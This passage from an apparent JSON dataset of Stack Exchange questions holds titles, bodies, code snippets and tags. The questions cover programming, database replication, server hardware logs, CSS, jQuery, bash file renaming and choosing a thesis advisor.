development in case that helps.\nUPDATE\nI tried another query that works!!\n\nThis
returns all the records. Very strange. What might be the difference between these
queries?\n", "Car", "ruby-on-rails sqlite"], "4113515": ["Disable checking of
overflow with Array.Sum", "There is a Pex4Fun problem that asks the user to write
code that finds the sum of an array.\n\nPex expects that it can pass {-1840512878,
-2147418112} and get back the underflowed number, 307036306, however the LINQ
method, Array.Sum(), checks for overflow.\nI can't use the unchecked keyword around
the method invocation of a.Sum() because
the addition happens inside of the method.\nIs there any way to disable the
checking of underflow/overflow with Array.Sum()?\n", "using System;\nusing
System.Linq;\n\npublic class Program {\n public static int Puzzle(int[] a) {\n
return a.Sum();\n }\n}\n", "c# linq overflow"], "2957213": ["Rewriting software
using Agile methodologies", "Suppose you have to rewrite an entire application
using Agile methodologies, how would you do it?\nI guess you could write a big
bunch of user stories based in the behavior of your current system. And then
implement them in small iterations. \nBut this wouldn't mean that we have the
requirements UP FRONT??\nAlso, when would you start releasing? Agile says we should
release early and often, but it doesn't make much sense to release before the
complete rewrite has been completed.\n", "", "agile scrum software extreme-
programming rewrite"], "1215972": ["httplib python/wxpython. sock stream error",
"I'm trying to check a few URLs to see if they come back as OK before I further
manipulate them, I have a list of URLs in self.myList, which then runs these
through the httplib HTTP Connection to get the response, however I get a load of
errors from the httplib in cmd.\nthe code works, as I've tested with the below and
it correctly comes back and sets the value in a wx.TextCtrl:\n\nIt just doesn't
seem to work when I pass it more than 1 URL from myList.\n\nThe errors I get on cmd
are\n\nEdit, updated code using urlparse. I have imported urlparse.\n\nwith
traceback,\n\nI now have www.google.com and www.bing.com in a .txt file, when it
throws this error.\nEdit 2\n@ Aya,\nlooks like it failed due to the \"\\n\" between
the 2 URLs. I thought I coded it to remove the \"\\n\" with .strip() but seems it
didnt have any effect.\n\nI took another look at my .strip() when I open the file,\
n\nand now it traceback errors with \"Failed on u'h'\"\nThanks\n", "#for line in
self.myList:\n conn = httplib.HTTPConnection(\"www.google.com\")\n
conn.request(\"HEAD\", \"/\")\n r1 = conn.getresponse()\n r1
= r1.status, r1.reason\n self.urlFld.SetValue(str(r1))\n", "python
wxpython httplib"], "5883317": ["Copying data from two files and feeding it into a
comparison sheet", "I have two documents titled Old Cal and New Cal. I want to be
able to take the tables from each separate file and copy them into a new comparison
file automatically. The only issue is, there will continuously be new documents
that need to be inputted into a new comparison sheet every time the data is
collected. For example, this time the files are called Old Cal and New Cal, but
then after those comparisons I will have two brand new files named Blue and Red
with completely new information that I will need to compare on another new page. I
need help writing a macro that can automatically populate the comparison sheet I
need to make between the two documents every time even though there will be
different files every time. Let me know if more info is needed, any help is
welcome. THANKS!\n", "", "excel-vba excel-2007"], "68836": ["How do I install
MegaRAID Storage Manager properly?", "OK, so installing it seems straightforward
enough, but making it work afterwards is so awkward I must've done something wrong.
It appears that this problem has nothing to do with ESXi or the RAID hardware,
since the app doesn't even get that far, so I'm not sure which support category
this falls under on LSI's own site.\nWe have a Supermicro machine with a pair of
LSI MegaRAID 8888ELP cards in it. All the hardware and ESXi 4.1 itself are working
perfectly. LSI's MSM manual claims support for ESXi via Common Information Model
(CIM) providers, by installing the entire product on another machine on the same
network as the ESXi host (preferably a VM running on it), because the monitoring
framework cannot be installed directly on the ESXi host.\nSo I've configured a
clean Win2003SP2 VM and done a complete install of the Storage Manager as indicated
by its manual. It sets up a GUI tool and two services: a Framework service and an
MRMonitor service.\nThe Framework service is running, but the MRMonitor one
terminates as soon as I start it. The manual seems to suggest that the GUI tool
connects to this service in order to manage ESXi machines on the same network. When
pointed to the VM's IP the GUI tool complains that the 'server may be down or
server not installed in the host system'.\nMSM version is 8.17-20 (or 8.10.0400, or
MegaRAID release 4.6, depending on where you look). We've tried running it on Win7,
Win2003SP2, and Ubuntu 10.10, and all have the same issue. The firewall is not
interfering, because in every case it was turned off.\nThe contents of
MonitorDbg.log on the Win7 machine follows. The other two OSes resulted in pretty
much the same log:\n\nIt almost looks like it's complaining about the absence of an
LSI device in the local machine, but that surely should not be necessary for
managing a remote machine?\nAny ideas?\n", "(Vivaldi Monitor)(Info) .\\
MonitorWinService.cpp 88 : Startup() - entering\n(Vivaldi Monitor)(Fatal) ..\\
message_queue\\message_queue.cpp 11 : Message queue constructor\n(Vivaldi Monitor)
(Fatal) ..\\message_queue\\message_queue.cpp 14 : Message queue constructor\
n(Vivaldi Monitor)(Fatal) ..\\message_queue\\message_queue.cpp 17 : Message queue
constructor\n(Vivaldi Monitor)(Fatal) ..\\messaging.cpp 12 : creating consumer
thread class\n(Vivaldi Monitor)(Debug) ..\\messaging.cpp 68 : constructing a
messaging framework\n(Vivaldi Monitor)(Debug) ..\\ssl\\listener\\listener.cpp 131 :
Initializing listener object\n(Vivaldi Monitor)(Debug) ..\\ssl\\SSLFacility.cpp
56 : SSL Library Initialized\n(Vivaldi Monitor)(Debug) ..\\ssl\\SSLFacility.cpp
71 : SSL Context created\n(Vivaldi Monitor)(Debug) ..\\ssl\\SSLFacility.cpp 82 :
Found Certificate Chain\n(Vivaldi Monitor)(Debug) ..\\ssl\\SSLFacility.cpp 90 :
Found Private Key\n(Vivaldi Monitor)(Error) ..\\ssl\\listener\\listener.cpp 152 :
Port being tried : 49152 49152\n(Vivaldi Monitor)(Debug) ..\\ssl\\listener\\
listener.cpp 163 : First do_accept failed\n(Vivaldi Monitor)(Fatal) ..\\ssl\\
SSLFacility.cpp 108 : error:02006740:system library:bind:reason(1856)\n\n(Vivaldi
Monitor)(Error) ..\\ssl\\listener\\listener.cpp 152 : Port being tried : 49153
49153\n(Vivaldi Monitor)(Debug) ..\\ssl\\listener\\listener.cpp 163 : First
do_accept failed\n(Vivaldi Monitor)(Fatal) ..\\ssl\\SSLFacility.cpp 108 :
error:20069075:BIO routines:BIO_get_accept_socket:unable to bind socket\n\n(Vivaldi
Monitor)(Error) ..\\ssl\\listener\\listener.cpp 152 : Port being tried : 49154
49154\n(Vivaldi Monitor)(Debug) ..\\ssl\\listener\\listener.cpp 163 : First
do_accept failed\n(Vivaldi Monitor)(Fatal) ..\\ssl\\SSLFacility.cpp 108 :
error:02006740:system library:bind:reason(1856)\n\n(Vivaldi Monitor)(Error) ..\\
ssl\\listener\\listener.cpp 152 : Port being tried : 49155 49155\n(Vivaldi Monitor)
(Debug) ..\\ssl\\listener\\listener.cpp 173 : Will listen on port: 49155\n(Vivaldi
Monitor)(Debug) ..\\messaging.cpp 71 : got a listener\n(Vivaldi Monitor)(Debug) .\\
MonitorSsl.cpp 268 : starting MonitorSSl Constructor\n(Vivaldi Monitor)(Debug) .\\
MonitorSsl.cpp 257 : Framework address is : 192.168.0.88:3071\n(Vivaldi Monitor)
(Debug) .\\MonitorSsl.cpp 90 : Connecting to Vivaldi framework at -
192.168.0.88:3071\n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 95 : my
address:192.168.0.88\n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 107 : port: 49155\
n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 108 : port: 49155\n(Vivaldi Monitor)
(Debug) .\\MonitorSsl.cpp 113 : sending\n(Vivaldi Monitor)(Debug) ..\\ssl\\writer\\
writer.cpp 61 : data sent 616\n(Vivaldi Monitor)(Debug) ..\\ssl\\writer\\writer.cpp
83 : read 84 bytes\n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 119 : registration
sent\n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 129 : Monitor Info: IP - 127.0.0.1
Port: 49155 Id: 4\n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 321 : SSL
initialized\n(Vivaldi Monitor)(Debug) .\\MonitorSsl.cpp 324 : finished MonitorSSl
Constructor\n(Vivaldi Monitor)(Debug) .\\AlertActionManager.cpp 43 : Parsing\
n(Vivaldi Monitor)(Debug) .\\AlertActionManager.cpp 46 : C:\\Program Files (x86)\\
MegaRAID Storage Manager\\\n(Vivaldi Monitor)(Debug) ..\\..\\XMLConfigParser.cpp 56
: 9\n(Vivaldi Monitor)(Debug) ..\\..\\XMLConfigParser.cpp 122 : translating popup\
n(Vivaldi Monitor)(Fatal) ..\\..\\ConfigData.cpp 30 : adding action popup\n(Vivaldi
Monitor)(Debug) ..\\..\\XMLConfigParser.cpp 122 : translating email\n(Vivaldi
Monitor)(Fatal) ..\\..\\ConfigData.cpp 30 : adding action email\n(Vivaldi Monitor)
(Debug) ..\\..\\XMLConfigParser.cpp 122 : translating systemlog\n(Vivaldi Monitor)
(Fatal) ..\\..\\ConfigData.cpp 30 : adding action systemlog\n(Vivaldi Monitor)
(Debug) ..\\..\\XMLConfigParser.cpp 122 : translating vivaldilog\n(Vivaldi Monitor)
(Fatal) ..\\..\\ConfigData.cpp 30 : adding action vivaldilog\n(Vivaldi Monitor)
(Error) c:\\monitor\\univ_monitor_1.1_dev\\app_viva\\univ_monitor\\config\\Global.h
23 : global 3\n(Vivaldi Monitor)(Error) c:\\monitor\\univ_monitor_1.1_dev\\
app_viva\\univ_monitor\\config\\Global.h 23 : global 3\n(Vivaldi Monitor)(Error)
c:\\monitor\\univ_monitor_1.1_dev\\app_viva\\univ_monitor\\config\\Global.h 23 :
global 3\n(Vivaldi Monitor)(Error) c:\\monitor\\univ_monitor_1.1_dev\\app_viva\\
univ_monitor\\config\\Global.h 23 : global 3\n(Vivaldi Monitor)(Error) c:\\
monitor\\univ_monitor_1.1_dev\\app_viva\\univ_monitor\\config\\Global.h 23 : global
2\n(Vivaldi Monitor)(Error) c:\\monitor\\univ_monitor_1.1_dev\\app_viva\\
univ_monitor\\config\\Global.h 23 : global 2\n(Vivaldi Monitor)(Error) c:\\
monitor\\univ_monitor_1.1_dev\\app_viva\\univ_monitor\\config\\Global.h 23 : global
2\n(Vivaldi Monitor)(Error) c:\\monitor\\univ_monitor_1.1_dev\\app_viva\\
univ_monitor\\config\\Global.h 23 : global 1\n(Vivaldi Monitor)(Error) c:\\
monitor\\univ_monitor_1.1_dev\\app_viva\\univ_monitor\\config\\Global.h
23 : global 1\n(Vivaldi Monitor)(Error) c:\\monitor\\univ_monitor_1.1_dev\\
app_viva\\univ_monitor\\config\\Global.h 23 : global 0\n(Vivaldi Monitor)(Error)
c:\\monitor\\univ_monitor_1.1_dev\\app_viva\\univ_monitor\\config\\Global.h 23 :
global 0\n(Vivaldi Monitor)(Debug) .\\AlertActionManager.cpp 70 : Parsed\n(Command
Tool)(Error) .\\AlertActionPopup.cpp 278 : Error opening file C:\\Program Files
(x86)\\MegaRAID Storage Manager\\/MegaMonitor/AlertActionCfg.txt\n(Vivaldi Monitor)
(Debug) .\\AlertActionPopup.cpp 55 : AlertAction cfg file is empty - no pending
popup events\n(Vivaldi Monitor)(Fatal) .\\Monitor.cpp 333 : Error - cannot get
ctrlId list from StorelibMFI - explore failed\n(Vivaldi Monitor)(Fatal) .\\
Monitor.cpp 410 : Error - cannot get ctrlId list from StorelibIR - explore failed\
n(Vivaldi Monitor)(Fatal) .\\Monitor.cpp 462 : Inside getIr2AlertControllerList\
n(Vivaldi Monitor)(Fatal) .\\Monitor.cpp 482 : getIr2AlertControllerList
dataProviderId 2\n(Vivaldi Monitor)(Fatal) .\\Monitor.cpp 488 : Error - cannot get
ctrlId list from StorelibIR2 - explore failed\n(Vivaldi Monitor)(Debug) .\\
Monitor.cpp 154 : Warning - No MFI, IR or IR2 controllers detected\n(Vivaldi
Monitor)(Debug) .\\AlertActionManager.cpp 251 : In Execute systemlog\n(Vivaldi
Monitor)(Debug) .\\AlertActionSystemLogger.cpp 31 : Loaded dynamic library
AlertStrings 0x003d0000\n(Vivaldi Monitor)(Debug) .\\AlertActionManager.cpp 218 :
c==theConfig so storeLib generated alert\n(Vivaldi Monitor)(Debug) .\\
AlertActionSystemLoggerWin.cpp 46 : ANS : <?xml version=\"1.0\" encoding=\"utf-8\"?
><message><data><alertData><id>61442</id><seqNum>0</seqNum><alertDate><dd>10</
dd><month>05</month><yyyy>2011</yyyy><hh>15</hh><mm>38</mm><ss>16</ss></
alertDate><class>1</class><paramCount>0</paramCount></alertData></data></message>\
n(Vivaldi Monitor)(Debug) ..\\..\\AlertStrings.cpp 90 : in AlertStrings::parse\
n(Vivaldi Monitor)(Debug) ..\\..\\AlertStrings.cpp 97 : Log : \n(Vivaldi Monitor)
(Debug) .\\AlertActionSystemLoggerWin.cpp 108 : registering\n(Vivaldi Monitor)
(Debug) .\\AlertActionSystemLoggerWin.cpp 110 : registered\n(Vivaldi Monitor)
(Debug) .\\AlertActionSystemLoggerWin.cpp 114 : reporting\n(Vivaldi Monitor)(Debug)
.\\AlertActionSystemLoggerWin.cpp 116 : reported- deregistering\n(Vivaldi Monitor)
(Debug) .\\AlertActionSystemLoggerWin.cpp 118 : de-registered\n(Vivaldi Monitor)
(Fatal) .\\MonitorMain.cpp 33 : Error - cannot initialize Monitor\n(Vivaldi
Monitor)(Debug) .\\Monitor.cpp 277 : Monitor destructor called - deleting elements
of alert Controller list\n(Vivaldi Monitor)(Debug) .\\Monitor.cpp 298 : Monitor
destructor called - deleting alert Controller list\n(Vivaldi Monitor)(Info) .\\
MonitorWinService.cpp 39 : Run() - changing service to STOP\n(Vivaldi Monitor)
(Info) .\\MonitorWinService.cpp 93 : Startup() - returning\n(Vivaldi Monitor)
(Debug) .\\MonitorMainWin.cpp 195 : Before deleting monwinsvc\n(Vivaldi Monitor)
(Debug) .\\MonitorMainWin.cpp 200 : After deleting monwinsvc\n(Vivaldi Monitor)
(Debug) .\\AlertActionManager.cpp 262 : Deleting AlertAction objects\n", "vmware
esxi hardware-raid"], "5079294": ["How do I create a LockFactory for Lucene.net?",
"I have a WCF service that writes indexes out to the file system. I am concerned
that I may run into threading issues if more than one client attempt to execute
this operation at the same time. I see that FSDirectory.Open() has an overload that
allows me to pass a \"LockFactory\". \nI have not been able to find any
documentation on how to create one of these LockFactories for Lucene .net. Can
someone tell me where I might find some documentation on LockFactory or what
interfaces I should be implementing?\n\n", "DirectoryInfo indexDirectory = new
DirectoryInfo(ConfigurationManager.AppSettings[\"indexpath\"]);\nDirectory
luceneDirectory = FSDirectory.Open(indexDirectory);\ntry \n{\n IndexWriter
indexWriter = new IndexWriter(luceneDirectory, new StandardAnalyzer());\n
Document document = new Document();\n\n foreach (KeyValuePair<string,string>
keyValuePair in _metaDataDictionary) \n {\n document.Add(new
Field(keyValuePair.Key, keyValuePair.Value, Field.Store.YES,
Field.Index.ANALYZED));\n indexWriter.AddDocument(document);\n }\n\n
indexWriter.Optimize();\n indexWriter.Flush();\n indexWriter.Close();\n}\
ncatch(IOException e)\n{\n throw new IOException(\"Could not read Lucene index
file.\");\n}\n", "c# lucene.net"], "5421069": ["NSDate creating a memory leak", "I
was already browsing through the questions alreaded posted and there were a lot of
hints I tried to work with. Unfortunately I don't get the issue solved.\nI simply
have the following code:\n\nBut still there is a memory leak at the allocation line
of NSDate. I tried it without the AutoreleasePool, I tried using drain instead of
release for the pool, I even tried to use the static NSDate date methode. But I do
not get rid of the memory leak.\nI still don't get it. Any help is highly
appreciated.\n", "NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];\
nNSDate *date = [[NSDate alloc] init];\nself.timestamp = date;\n[date release];\n\
n[pool release];\n", "ios nsdate"], "4906655": ["XSD: how to code string length >
255?", "I tried the following code to import a string from XML\n\nBut some fields
are more than 255 characters. So I tried adding more characters:\n\nThe data that
fails validation is 194 characters long including the CDATA. It does not include
the single quotes (they are there to show the white space):\n\nThe error in SQL
Server SSIS 2008 is:\n\nHow would I construct the XML schema first listed to import
this data without error?\n", "<xs:element minOccurs=\"0\" name=\"FIELDNAME\"
type=\"xs:string\" />\n", "sql-server-2008 ssis xsd xsd-validation"], "5575974":
["How can I cram more harddrives into a case?", "I have a Cooler Master Elite case,
with 6 hard drives in the normal drive bays, and 2 more velcro'd to the floor of
the case. I'd like to add 1 more drive to the system now, and the floor is just
plain full. I also need to have room to potentially add more drives in the future.
The drives also need to have some semblance of cooling. I have a 120mm blowing in
the front, and I run the box with the side panel off the case.\nI found this, which
looks like it would solve the problem, and allow me to get the 2 drives up off the
case floor. Has anyone ever used a product like this? Are they any good?\nAny
other suggestions on how to cram even more hard drives into this machine?\n", "",
"hard-drive case"], "5336171": ["Change Windows 7 explorer \"Edit\" context menu
action for jpg and other image file types", "When I right click on a jpg file in
Windows Explorer (Windows 7), I see that there is an \"Edit\" menu item. If I
click this item, it opens the image in MSPaint. Blah. I have Paint.NET installed,
and I'd like to change the \"Edit\" action to open the image in Paint.NET.\nHow can
I go about doing this? \n", "", "windows-7 windows-explorer file-association
context-menu"], "1851990": ["how to set the date picker to display the year between
1910-2010 alone", "I am trying to show the date picker between 1910-2010 alone. i
mean the user has to select between 1910 - 2010 only. i tried the below code but it
is not working.\nAlso the date can be selected from 1 to 31st and month also can be
selected from jan to dec.\n\nPlease let me know, what i am doing wrong.\nThanks a
lot.\n", "NSCalendar *calendar = [[NSCalendar alloc]
initWithCalendarIdentifier:NSGregorianCalendar];\n NSDate *currentDate =
[NSDate date];\n NSDateComponents *comps = [[NSDateComponents alloc] init];\
n [comps setYear:-3];\n NSDate *maxDate = [calendar
dateByAddingComponents:comps toDate:0 options:0];\n [comps setYear:1];\n
NSDate *minDate = [calendar dateByAddingComponents:comps toDate:0 options:0];\n\n
[self.myPicker setMaximumDate:maxDate];\n [self.myPicker
setMinimumDate:minDate];\n", "iphone ios iphone-sdk-4.0 uidatepicker"], "18167":
["Initiate SRAM read operation", "I am programming an ARM chip (STM32F2) \"bare-
metal\". Specifically, I would like to read values held in external SRAM. Reading
the reference manual I understand that such memory transactions are done through
the FSMC (Flexible Static Memory Controller).\nI understand how to initialise the
FSMC for SRAM read/write operations. (I have to set the appropriate GPIO pins to
the correct Alternate Function, modify a bunch of control registers, etc.).
However, I do not see how to initiate, for example, a read operation.\nWhat
registers should I touch to read (or write) the SRAM after initialisation?\n", "",
"c embedded arm"], "5616455": ["Start new chapter on same page", "I am using
document class. When I create a new chapter, it starts it on a new blank page in
which only the chapter name appears.\nI want to be able to start new chapters on
the same page as the old chapter ends. Is there any way to do it?\n", "report",
"sectioning page-breaking chapters"], "2369910": ["permissions on the view are not
getting replicated", "im using sql server 2012 and transactional replication in it.
im trying to replicate a view which has a specific database role attached in the
permissions. this is my replications script for the view\n\nafter replicating, the
view is getting created but the role is not getting attached to permissions of the
view. this role is present in both publisher and subscriber databases. and this
roles is assigned to the table used in the view and the table exists on both the
databases.\ni tried setting the schema_option to 0x48000001 which is\n\nGenerates
the object creation script (CREATE TABLE, CREATE PROCEDURE, and so on). This value
is the default for stored procedure articles.\nCreate any schemas not already
present on the subscriber.\nReplicate permissions.\n\ni have also gone through this
post, http://social.msdn.microsoft.com/Forums/en-US/sqlreplication/thread/a4fa2d32-
00ea-47a7-9276-52764fab72a
e/ which says above schema_option value should work. or we have to use
@post_snapshot_script in sp_addpublication.\ni tried with @post_snapshot_script and
it is working, but i dont want to use this approach.\nplease let me know how to
solve this problem.\nthanks in advance.\n", ":setvar
SubscriberDB \"ReplicationSubscriberDB\"\n:setvar
SubscriberServerName \"HYDHTC0131320D\\MSSQLSERVER2\"\n:setvar
PublisherDB \"PublisherDB\"\n:setvar PublisherServerName \"HYDHTC0131320D\"\
n:setvar ReplicationAccount \"myusername\"\n:setvar
ReplicationAccountPassword \"mypassword\"\n\nGO\n:on error exit\nGO\n\nexec
sp_addpublication @publication = N'DepartmentsView', @description = N'Transactional
publication of database from Publisher ''$(PublisherServerName)''.', @sync_method =
N'concurrent', @retention = 0, @allow_push = N'true', @allow_pull = N'true',
@allow_anonymous = N'false', @enabled_for_internet = N'false',
@snapshot_in_defaultfolder = N'true', @compress_snapshot = N'false',
@allow_subscription_copy = N'false', @add_to_active_directory = N'false',
@repl_freq = N'continuous', @status = N'active', @independent_agent = N'true',
@immediate_sync = N'true', @allow_sync_tran = N'false', @autogen_sync_procs =
N'false', @allow_queued_tran = N'false', @allow_dts = N'false', @replicate_ddl = 1,
@allow_initialize_from_backup = N'false', @enabled_for_p2p = N'false',
@enabled_for_het_sub = N'false'\n\nGO\nexec sp_addpublication_snapshot @publication
= N'DepartmentsView', @frequency_type = 1, @frequency_interval = 0,
@frequency_relative_interval = 0, @frequency_recurrence_factor = 0,
@frequency_subday = 0, @frequency_subday_interval = 0, @active_start_time_of_day =
0, @active_end_time_of_day = 235959, @active_start_date = 0, @active_end_date = 0,
@job_login = N'$(ReplicationAccount)', @job_password = '$
(ReplicationAccountPassword)', @publisher_security_mode = 1\nGO\n\n\nexec
sp_addarticle @publication = N'DepartmentsView', @article = N'vwDepartments',
@source_owner = N'dbo', @source_object = N'vwDepartments', @type = N'view schema
only', @description = null, @creation_script = null, @pre_creation_cmd = N'drop',
@schema_option = 0x48000001, @destination_table = N'vwDepartments',
@destination_owner = N'dbo'\nGO\n\nEXEC sp_startpublication_snapshot @publication =
N'DepartmentsView'\nGO\n\n\nuse [$(PublisherDB)]\nGO\nexec sp_addsubscription
@publication = N'DepartmentsView', @subscriber = N'$(SubscriberServerName)',
@destination_db = N'$(SubscriberDB)', @subscription_type = N'Push', @sync_type =
N'automatic', @article = N'all', @update_mode = N'read only', @subscriber_type = 0\
nGO\n\nexec sp_addpushsubscription_agent @publication = N'DepartmentsView',
@subscriber = N'$(SubscriberServerName)', @subscriber_db = N'$(SubscriberDB)',
@job_login = N'$(ReplicationAccount)', @job_password = '$
(ReplicationAccountPassword)', @subscriber_security_mode = 1, @frequency_type = 4,
@frequency_interval = 1, @frequency_relative_interval = 0,
@frequency_recurrence_factor = 0, @frequency_subday = 8, @frequency_subday_interval
= 6, @active_start_time_of_day = 0, @active_end_time_of_day = 235959,
@active_start_date = 20120607, @active_end_date = 99991231, @enabled_for_syncmgr =
N'False', @dts_package_location = N'Distributor'\nGO\n", "sql-server replication"],
"5956351": ["magento SOAP couldn't connect problem", "I face one problem using web
service SOAP protocol while getting the orders from live magento ,create the
invoice for orders using Magento core API, i face the error below\nFatal error:
Uncaught SoapFault exception: [1]\n", "", "php api magento soap"], "4003153":
["Stored procedure strange error when called through php", "I have been coding a
registration page(login system) in php and mysql for a website. I'm using two
stored procedures for the same. First stored procedure checks wether the email
address already exists in database.Second one inserts the user supplied data into
mysql database. User has EXECUTE permission on both the procedures.When is execute
them individually from php script they work fine. But when i use them together in
script second Stored procedure(insert) not working.\nStored procedure 1. \n\nStored
procedure 2\n\nWhen i test these from php sample script insert is not working , but
first stored procedure(reg_check_email()) is working. If i comment off first
one(reg_check_email), second stored procedure(reg_insert_into_db) is working fine.\
n\ni'm unable to figure out the mistake.\nThanks in advance,\nravi.\n", "DELIMITER
$$\nCREATE PROCEDURE reg_check_email(email VARCHAR(80))\nBEGIN\nSET @email =
email;\nSET @sql = 'SELECT email FROM user_account WHERE user_account.email=?';\
nPREPARE stmt FROM @sql;\nEXECUTE stmt USING @email;\nEND$$\nDELIMITER;\n", "php
mysql stored-procedures"], "3145948": ["Flowing items horizontally w/ center
alignment within a container", "My dilemma is this (and should be simple, I
suspect): I have a container and a set of items (both divs). The following CSS
applies:\n\nThe .item itself is a container that could have almost any set of
arbitrary elements, but they need to be center aligned inside of it (in my case, it
typically contains a thumbnail image and a small caption of text beneath it).
While the above CSS allows each .item to flow horizontally the way I like, I can't
figure out how to make the whole set center aligned (as opposed to flowing from
left to right like it does now).\n", ".container {\n float: left;\n
width: 100%;\n}\n\n\n.item {\n margin: 32px;\n text-align:
center;\n position: relative;\n float: left;\n}\n", "css css-
float alignment"], "5043616": ["Why use an Objective-C protocol when all methods
are optional?", "I always had the impression a protocol should help me implement
certain methods so my object will responds to certain messages. If I forget a
method or type it wrong the compiler will tell me.\nBut what is the use of setting
a protocol for a class when all methods are optional? Like in the
NSSpeechSynthesizerDelegate-protocol. The compiler doesn't remind me to implement
some methods and he doesn't tell me if I wrote a method name the wrong way. And the
program works fine even without the protocol.\n", "", "iphone objective-c ios
protocols"], "3527907": ["lazy loading of java script in php", "I am using the
Google visualization for drawing graphs into my website. This involves a lod of
java script. \n\nThese two lines of script takes at least 5 to 8 sec to load
initially. How ever i use the graph feature in my website after sometime of the
initial page load and not immediately. So i was wondering instead of slowing down
the page load by 5 sex for the script to load can i do a lazy load of java script
parallel to my page load. This will make my initial page load faster. Can this be
done, if so please let me know syntax and also some link providing the
documentation if any.\n", " <script type=\"text/javascript\"
src=\"http://www.google.com/jsapi\"></script>\n <script type=\"text/javascript\">\n
google.load('visualization', '1', {packages: ['annotatedtimeline']});\n </script>\
n", "php javascript ajax scripting"], "5186920": ["Can I resize images using
JavaScript (not scale, real resize)", "I need to dynamically load and put on screen
huge number of images \u2014 it can be something like 1000\u20133000. Usually these
pictures are of different size, and I'm getting their URLs from user. So, some of
these pictures can be 1024x800 or 10x40 pixels.\nI wrote a good JS script showing
them nicely on one page (ala Google Images Search style), but they are still very
heavy on RAM used (a hundred 500K images on one page is not good), so I thought
about the option of really resizing images. Like making an image that\u2019s
1000x800 pixels something like 100x80, and then forget (free the ram) of the
original one.\nCan this be done using JavaScript (without server side processing)?\
n", "", "javascript image web-applications resize"], "3527229": ["Apache Solr
search index problem", "I have installed Apache Solr and run 2 times manually cron
but I have a problem that 0% was sent to server:\n\nAll messages seems to be ok:\n\
nI replaced solrconfig.xml and schema.xml in /solr/example/solr/conf with those
from Apache Solr Drupal module.\nCould somebody give me advice, what should I
check?\nRegards\n", "The search index is generated by running cron. 0% of the site
content has been sent to the server. There are 2884 items left to send.\n\nUsing
schema.xml version: drupal-1.1\nThe server has a 2 min. delay before updates are
processed.\n\nNumber of documents in index: 220\n\nNumber of pending deletions: 0\
n", "drupal-6 solr drupal-search"], "4911860": ["Javascript ajax Lazy Loading and
functions organization", "I'm new to this kind of stuff so I'd like some design
suggestions.\nLet's say I have something like this\n\nIs it a good way of doing
lazy loading and caching or would you suggest better alternatives?\nWhat's the usal
solution to avoid writing the rendering function twice? Of course you could have
something like:\n\nBut then the two function and their names become rather
confusing so could be better do something like:\n\nIs the last pattern a good idea?
What's kind of the usual way of doing this?\n", "$(function () {\n $
('#menuBtn').on('click', app.openUsersMenu);\n});\nvar app = {\n users: null,\n
openUsersMenu: function () {\n if (app.users != null) {\n
//render menu\n } else {\n $.ajax({\n url:
'/getUsers.json'\n }).success(function (data) {\n
app.users = data;\n //render menu \n });\n }\n
}\n}\n", "javascript jquery caching lazy-loading javascript-objects"], "2755020":
["How can I setup double-sided printing for the Xerox 7400?", "How can I setup
double-sided printing for the Xerox 7400?\n", "", "printer"],
"5878776": ["How to permanently leave a CALayer rotated at its final location?",
"I am trying to rotate a CALayer to a specific angle however, once the animation is
done, the layer jumps back to its original position. How would I rotate the layer
properly so that it stays at its final destination?\nHere is the code that I am
using\n\nAny suggestions? Thank you.\n", "CABasicAnimation *rotationAnimation
=[CABasicAnimation animationWithKeyPath:@\"transform.rotation.z\"]; //Rotate about
z-axis\n[rotationAnimation setFromValue:[NSNumber numberWithFloat:fromDegree]];\
n[rotationAnimation setToValue:[NSNumber numberWithFloat:toDegree]];\
n[rotationAnimation setDuration:0.2];\n[rotationAnimation
setRemovedOnCompletion:YES];\n[rotationAnimation setFillMode:kCAFillModeForwards];\
n", "cocoa calayer caanimation cabasicanimation"], "5425293": ["Passing JSON data
to .getJSON in jQuery?", "I am trying to pass a JSON object to .getJSON but I keep
getting a bad request error. This is what I am trying:\n\nCurrently to get it
working, I have to do this, but I do not like how I have to manually construct the
query string:\n\nAnyone know how to make requests easier with JSON objects being
passed in? I would appreciate any help or advise.\n", "var data = {\
n \"SomeID\": \"18\",\n \"Utc\": null,\n \"Flags\": \"324\"\n};\n\
n$.getJSON(\"https://somewhere.com/AllGet?callback=?\", JSON.stringify(data),
function (result) {\n alert(result);\n});\n", "javascript jquery json jsonp
getjson"], "1793915": ["Hot to remove special chars from filenames and rename them
in a directory?", "This is what I have so far.\n\n", "#!/bin/bash\n\npushd
DirectoryName\n\nfor file in *.csv; do\n #echo $file\n filename=${file%.*}\n
file_clean=${filename//[ ()$+&\\.\\-\\'\\,]/_}\n final= \"$file_clean.csv\"\n
mv \"$file\" $final\ndone\n\npopd\n", "bash rename regex"], "842140": ["Jquery
components not working with Telerik JQuery(false)", "I add a telerik treeView to my
page and noticed that the treeview was not expanding. I noticed that in the _layout
file, I had the line \n\nI removed the in this line and the treeview works
fine,but other components on the page that use JQuery (like the date picker)
stopped working. How can I ensure that everything works?\n", "
@Html.Telerik().ScriptRegistrar().DefaultGroup(group =>
group.Combined(true).Compress(true)).OnDocumentReady(\n @<text>\n
prettyPrint();\n </text>).jQuery(false);\n", "jquery asp.net-mvc
telerik noconflict"], "3109862": ["How to constraint column of MySQL?", "like:\n\
nIs it possible to do this in MySQL?\n", "create table test(\n score integer
unsigned between 1 and 100\n...\n);\n", "mysql constraints"], "2244252": ["What is
wrong with this HTML5 <address> element?", "\nAnd the CSS looks like this:\n\nWhen
I load the page, it looks fine in Chrome & IE, but in Firefox it's ignoring the
styling completely. When I view source in firefox it looks like above, but in
Firebug it looks like this:\n\n", "<div id=\"header-container\">\n <address>\n
<ul>\n <li>lorem ipsum</li>\n <li>(xxx) xxx-xxxx</li>\n
</ul>\n </address>\n</div>\n", "html css firefox html5 stylesheet"], "5284408":
["How to pick a thesis advisor?", "This sort of question is probably in bad taste
for math.stackexchange, but is probably in high demand. (I tried to start a site on
Area 51 to house questions like this, but my request was closed due to the
existence of math.stackexchange.)\nI am advising talented students about graduate
school. I believe that the most important thing one must be sure to do is pick the
right PhD thesis advisor.\n\nQuestion: What is your best advice on picking a good
thesis advisor. (For the sake of levity, feel free to answer the dual question
